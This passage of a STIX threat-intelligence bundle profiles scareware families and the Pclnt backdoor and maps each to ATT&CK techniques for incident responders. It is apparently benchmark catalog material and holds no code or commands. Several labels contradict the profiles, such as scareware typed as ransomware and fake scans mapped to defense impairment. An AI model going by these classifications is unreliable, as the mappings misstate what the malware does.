      "id": "relationship--63c6dbf9-4fba-5556-9e92-e41e64b4896b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--167449fc-4822-5df5-a410-33a507c9b921",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pckdflystudio exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb742082-983a-5b79-8d0e-72b0ea5c9620",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--167449fc-4822-5df5-a410-33a507c9b921",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pckdflystudio exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4af05cdf-2d7d-5df7-ae4f-863d7b2b1dda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--167449fc-4822-5df5-a410-33a507c9b921",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pckdflystudio exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e5f4762-9368-5bdc-b471-b36cc1655b2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--167449fc-4822-5df5-a410-33a507c9b921",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pckdflystudio exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2bce390e-1dfc-5555-b99c-5c4a78c8ed4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pckeeper",
      "description": "Rogue:Win32/Pckeeper (also marketed under various names) is a classic example of 'Scareware' and a Rogue PC Optimizer. It is a Potentially Unwanted Program (PUA) that masquerades as a legitimate system utility, antivirus, or registry cleaner. It utilizes highly deceptive, alarming pop-ups and fake scan results to frighten the user into believing their computer is heavily infected or failing, ultimately coercing them into purchasing a 'premium' subscription to fix the non-existent problems.<br><br><b>Understanding Pckeeper Scareware</b><br>To an end-user, Pckeeper is terrifying. Their screen fills with flashing red warnings claiming '1,432 Critical Errors Found!' or 'System Failure Imminent!' For a security analyst, Pckeeper is a manipulative fraud. The software itself is largely useless, performing superficial scans (like finding temporary internet files) and categorizing them as critical threats to force a sale.<br><br><b>Execution and Deception Mechanics</b><br>Pckeeper is heavily distributed via aggressive affiliate marketing, malvertising, and deceptive software bundlers (`T1189`). When installed, it immediately runs a 'system scan' (`T1204.002`). This scan is hardcoded to always find severe issues, regardless of the actual health of the machine (`T1566.002`). It establishes aggressive persistence via Registry Run keys and Scheduled Tasks (`T1053.005`) to ensure its alarming pop-ups appear every time the computer boots. If the user clicks 'Fix Errors', they are directed to a high-pressure payment portal. In some severe variants, the scareware will disable the Task Manager or hide desktop icons to further convince the user the system is broken.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is financial loss for the user (paying for fake software) and a severely degraded user experience due to constant, intrusive pop-ups and system sluggishness. Incident responders will observe the unexpected installation of the Pckeeper software suite. EDR logs will show the creation of multiple persistent startup entries and Scheduled Tasks designed to launch the fake scanner GUI on a recurring basis. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pckeeper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pckeeper"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5aa59f4f-df81-549e-bfb6-13366e026761",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2bce390e-1dfc-5555-b99c-5c4a78c8ed4e",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pckeeper exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aac6b3d9-9877-50a5-a1a6-a3a8f8217b0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2bce390e-1dfc-5555-b99c-5c4a78c8ed4e",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pckeeper exhibits technique T1566.002 (Phishing: Spearphishing Link (Deceptive Pop-ups and Fake Scans))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e41fe170-6a4d-52a2-8907-d1fb835ef5ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2bce390e-1dfc-5555-b99c-5c4a78c8ed4e",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pckeeper exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21831f44-deaf-5d86-a212-f6623b501de5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2bce390e-1dfc-5555-b99c-5c4a78c8ed4e",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pckeeper exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--605364a8-248f-544b-9b27-4de51ed0c8c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pclnt",
      "description": "<h3>Executive Summary</h3>\nPclnt is a dangerous Backdoor Trojan engineered to provide remote attackers with covert, persistent, and unfettered access to compromised Windows systems. Unlike highly automated botnets, Pclnt is often utilized in targeted attacks, allowing the threat actor to manually explore the infected network, steal sensitive data, and manipulate the system as if they were sitting directly at the keyboard.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPclnt is primarily distributed via targeted spear-phishing campaigns (often utilizing weaponized Office documents) or deployed as a secondary payload by initial access brokers who have already breached the perimeter via exposed RDP ports or VPN vulnerabilities.\n\nOnce the backdoor is executed on the victim's machine, it establishes a deep foothold:\n<ul>\n<li><strong>Covert C2 Communication:</strong> Pclnt establishes a persistent, encrypted connection to its command-and-control (C2) server. It typically operates over standard web ports (HTTPS/443) or utilizes customized protocols designed to blend in with legitimate enterprise traffic and bypass edge firewalls.</li>\n<li><strong>Interactive Shell and File Manipulation:</strong> The backdoor provides the attacker with an interactive remote shell (cmd.exe or PowerShell), allowing them to execute arbitrary commands with the privileges of the infected user. The attacker can silently browse the file system, upload exfiltration tools, or download proprietary data.</li>\n<li><strong>System Manipulation:</strong> Pclnt allows the attacker to view and terminate running processes, edit the Windows Registry, and manipulate Windows Services, enabling them to disable local antivirus solutions or install further persistence mechanisms.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Pclnt infection is a critical security incident. The malware's extensive capabilities mean that the compromised endpoint is fully under the control of the attacker. This leads directly to the loss of intellectual property, compromised user credentials, and the near certainty of lateral movement across the enterprise network.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Sever the affected machine's network connection immediately. This halts the connection to the C2 server and prevents active data exfiltration or lateral movement.</li>\n<li><strong>Forensic Analysis:</strong> Perform a deep forensic review of the endpoint. Because the attacker had interactive access, responders must determine exactly what commands were executed via the backdoor to understand the full scope of the breach.</li>\n<li><strong>Comprehensive Credential Reset:</strong> Assume all credentials utilized on the infected machine, as well as any stored in browsers or password managers, are fully compromised. Initiate an immediate, organization-wide password reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.Pclnt",
        "Trojan.Pclnt",
        "Win32/Pclnt"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pclnt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pclnt"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a93ec428-be07-5ef8-92d4-ae347fd8e4b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--605364a8-248f-544b-9b27-4de51ed0c8c7",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pclnt exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--157029a9-af83-5d6f-bacc-bbd69062304e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--605364a8-248f-544b-9b27-4de51ed0c8c7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pclnt exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f6f4eca-fef2-5ac1-87fe-e701ba3a7cbc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--605364a8-248f-544b-9b27-4de51ed0c8c7",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pclnt exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--951d33a6-7ea5-5513-86ec-a83b1521592c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--605364a8-248f-544b-9b27-4de51ed0c8c7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pclnt exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b336a3e0-6150-50db-8275-8801f0f9ef43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pcmechanic",
      "description": "Rogue:Win32/Pcmechanic is a classic example of Rogue Software, specifically a 'Fake System Optimizer' or 'Scareware'. It masquerades as a legitimate PC performance enhancement utility (often literally named 'PC Mechanic'), performing fabricated system scans that inevitably report hundreds of non-existent registry errors, junk files, and performance bottlenecks. Its sole purpose is to employ deceptive social engineering to frighten the user into purchasing a premium license to 'fix' the fabricated issues.<br><br><b>Understanding Pcmechanic (Fake Optimizers)</b><br>To an end-user, Pcmechanic appears to be a helpful utility warning them that their computer is severely degraded. For a security analyst, it is a Potentially Unwanted Program (PUP) that utilizes fraudulent tactics (`T1566.002`). It degrades system performance, steals financial data via fraudulent transactions, and often acts aggressively to force the user to pay by displaying persistent, alarming pop-ups.<br><br><b>Execution and Deception Mechanics</b><br>Pcmechanic is primarily distributed through deceptive malvertising, drive-by downloads (`T1189`), or bundled with other freeware installers. Upon execution, it establishes persistence by modifying the Registry Run keys (`T1547.001`) or creating scheduled tasks to ensure it launches automatically on boot. To maintain its illusion of utility and force payment, it actively displays persistent desktop pop-ups (`T1491.001`) claiming the registry is corrupted or privacy is compromised. It may also alter browser settings to redirect the user to its payment portal.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is financial loss for the user (fraud) and reduced endpoint usability. Host-based IoCs include the presence of a new, highly aggressive 'optimizer' application demanding payment, persistent desktop pop-ups, and the potential inability to close the application cleanly. EDR telemetry will log the software's autostart registry modifications and its rapid creation of fraudulent log files used to 'prove' the system errors. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pcmechanic",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pcmechanic"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8abf20e-efb5-5a64-a7e0-92c879b90fa1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b336a3e0-6150-50db-8275-8801f0f9ef43",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcmechanic exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering tactics to drive installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84690048-8ef1-5cfd-8218-c4cadaf78572",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b336a3e0-6150-50db-8275-8801f0f9ef43",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcmechanic exhibits technique T1547.001 (Boot or Logon Autostart Execution (Registry Run keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--947867c6-ff85-5344-a3f6-eb492169c5b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b336a3e0-6150-50db-8275-8801f0f9ef43",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcmechanic exhibits technique T1491.001 (Defacement: Internal Defacement (Persistent scareware pop-ups on the desktop))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ca76fc2d-a63a-5ad6-b2c1-d4c6499bde2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pcmedic",
      "description": "Rogue:Win32/Pcmedic is a deceptive Potentially Unwanted Program (PUA) classified as **Scareware** or a **Rogue System Optimizer**. It is designed to deliberately mislead the user into believing their computer is severely infected with malware, plagued with critical registry errors, or suffering from failing hardware. The ultimate goal is to panic the user into purchasing a fraudulent 'premium' license to fix these non-existent issues.<br><br><b>Understanding PCMedic Scareware</b><br>To an end-user, PCMedic is terrifying. Suddenly, their screen is filled with flashing red alerts, terrifying system warnings, and constant pop-ups claiming their hard drive is crashing. For a security analyst, this is a social engineering attack disguised as software. The software itself is largely harmless to the OS (it doesn't steal data or encrypt files), but it severely disrupts productivity and attempts to extort money from the user (credit card fraud).<br><br><b>Execution and Deception Mechanics</b><br>PCMedic is typically installed via deceptive malvertising (fake 'Your PC is Infected!' banners) or bundled with freeware (`T1189`). Upon execution (`T1204.002`), it establishes persistence via the `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` registry key so it launches every time the computer boots (`T1547.001`). It then initiates a 'scan' of the system. Regardless of the actual health of the computer, the scan is hardcoded to return hundreds of critical errors (`T1562`). It heavily utilizes the Windows UI to generate intrusive, uncloseable pop-up warnings, often disabling the Task Manager (`T1562.001`) to prevent the user from terminating the application easily.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is severe user panic, complete loss of productivity, and potential financial fraud if the user inputs their credit card. IoCs include EDR alerts for the installation of known rogue software binaries (e.g., `pcmedic.exe`). Host-based indicators include the sudden appearance of aggressive system-tray alerts and the unauthorized modification of registry keys intended to disable administrative tools. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pcmedic",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pcmedic"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f100c66-3047-5b31-b640-68565c4100f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca76fc2d-a63a-5ad6-b2c1-d4c6499bde2a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcmedic exhibits technique T1189 (Drive-by Compromise (Fake antivirus malvertising))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6305c0d-7a83-50ab-b939-dfde6261199e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca76fc2d-a63a-5ad6-b2c1-d4c6499bde2a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcmedic exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling Task Manager to prevent closure))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40391305-f566-5daf-a4eb-b350eb3bb0fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca76fc2d-a63a-5ad6-b2c1-d4c6499bde2a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcmedic exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12ef5409-8790-5ed7-a1f4-1056c871579f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca76fc2d-a63a-5ad6-b2c1-d4c6499bde2a",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcmedic exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--af9b411e-d5bb-57e8-8946-cd8230774dbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pcmega",
      "description": "Adware:Win32/Pcmega (often branded as PCMega Optimizer) is a form of **Rogue Security Software** (Fake AV or Scareware). It masquerades as a legitimate, high-end system optimization and antivirus program, deliberately generating terrifying, fake security alerts to trick the user into paying for a 'premium' license to remove non-existent threats.<br><br><b>Understanding Pcmega (Scareware)</b><br>To an end-user, Pcmega is highly distressing. The desktop is bombarded with urgent, red-flashing pop-ups claiming the system is severely infected with zero-day trojans, hard drive failures, or that data is actively being stolen. For a security team, Pcmega relies entirely on social engineering and intimidation (`T1498.002` - modified context for deception) to monetize the infection directly from the victim.<br><br><b>Execution and Scareware Mechanics</b><br>Pcmega is often distributed via malvertising, drive-by downloads, or bundled with pirated software (`T1189`). Upon execution (`T1204.002`), it establishes persistence via the Registry (`T1547.001`) so it runs every time the computer boots. It immediately displays a highly professional-looking (but fake) scanning interface. It simulates a fast scan and inevitably reports dozens of severe 'infections' or 'critical registry errors.' To enforce compliance, advanced variants of rogue optimizers actively attempt to disable legitimate Windows utilities (like Task Manager, Registry Editor, and Command Prompt) (`T1562.001`) to prevent the user from terminating the rogue process.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is primarily financial fraud and severe disruption of productivity. Host-based IoCs include EDR alerts for the unauthorized modification of registry keys, the presence of the rogue executable in the `%AppData%` or `Program Files` folder, and persistent, aggressive pop-up windows demanding credit card payment. Network IoCs include connections to the software vendor's payment and telemetry servers. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pcmega",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pcmega"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--895dd7cf-c8de-5eeb-8082-b145837c45d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af9b411e-d5bb-57e8-8946-cd8230774dbf",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcmega exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling Task Manager/AV))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed15b3f1-cda4-50f7-b1ed-912ce93bc670",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af9b411e-d5bb-57e8-8946-cd8230774dbf",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcmega exhibits technique T1498 (Network Denial of Service (Blocking access to security sites))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c49669e-d21c-5cf7-ab8b-c7eb0ef80615",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af9b411e-d5bb-57e8-8946-cd8230774dbf",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcmega exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91c7446c-2029-5556-a0dd-9b38d71e9748",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af9b411e-d5bb-57e8-8946-cd8230774dbf",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcmega exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ecdc7048-4ace-59b3-89ad-e933e193b946",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pcopticlean",
      "description": "Rogue:Win32/Pcopticlean is a deceptive application categorized as a 'Fake System Optimizer' or 'Scareware'. It aggressively masquerades as a legitimate PC performance enhancement utility. However, its true intent is purely financial fraud. It performs fabricated system scans that inevitably report hundreds of non-existent critical registry errors, junk files, and performance bottlenecks to frighten the user into purchasing a premium license.<br><br><b>Understanding Pcopticlean (Scareware)</b><br>To an end-user, Pcopticlean appears to be a helpful, albeit alarming, utility warning them of impending system failure. For a security analyst, it is a Potentially Unwanted Program (PUP) that utilizes social engineering (`T1566.002`). While it rarely encrypts files like ransomware, it degrades endpoint performance, steals financial information via fraudulent transactions, and frequently serves as a beachhead for other adware bundles.<br><br><b>Execution and Deception Mechanics</b><br>Pcopticlean is heavily distributed through malvertising networks, fake 'Your PC is infected' browser pop-ups, and deceptive software bundles (`T1189`). Upon installation, it writes persistence mechanisms to the Windows Registry (`T1547.001`) to ensure it launches on boot. It then initiates its fake scans and repeatedly interrupts the user with modal dialog boxes demanding payment. To maintain its illusion of legitimacy, it may Impair Defenses (`T1562.001`) by modifying local firewall rules or attempting to suppress warnings from legitimate Windows Security Center components.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is financial loss for the victim and diminished endpoint usability. Host-based IoCs include the presence of 'PC OptiClean' (or similar naming variants) in the Add/Remove Programs list, persistent desktop pop-ups, and autostart registry entries pointing to its installation directory (e.g., `C:\\Program Files (x86)\\PCOptiClean`). EDR logs will show the application making frequent outbound connections to payment processing domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pcopticlean",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pcopticlean"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0237c0a8-467d-5b38-af0a-22d2b4de3ca1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ecdc7048-4ace-59b3-89ad-e933e193b946",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcopticlean exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--adb8e595-69b7-5c10-83cb-1bda585a57c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ecdc7048-4ace-59b3-89ad-e933e193b946",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcopticlean exhibits technique T1547.001 (Boot or Logon Autostart Execution (Registry persistence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6f10c4c-2071-5b0c-8208-9e9ddc6db761",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ecdc7048-4ace-59b3-89ad-e933e193b946",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcopticlean exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive ads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8d6b5f08-9277-5625-b314-6969674c0fb5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pcoptimizerpro",
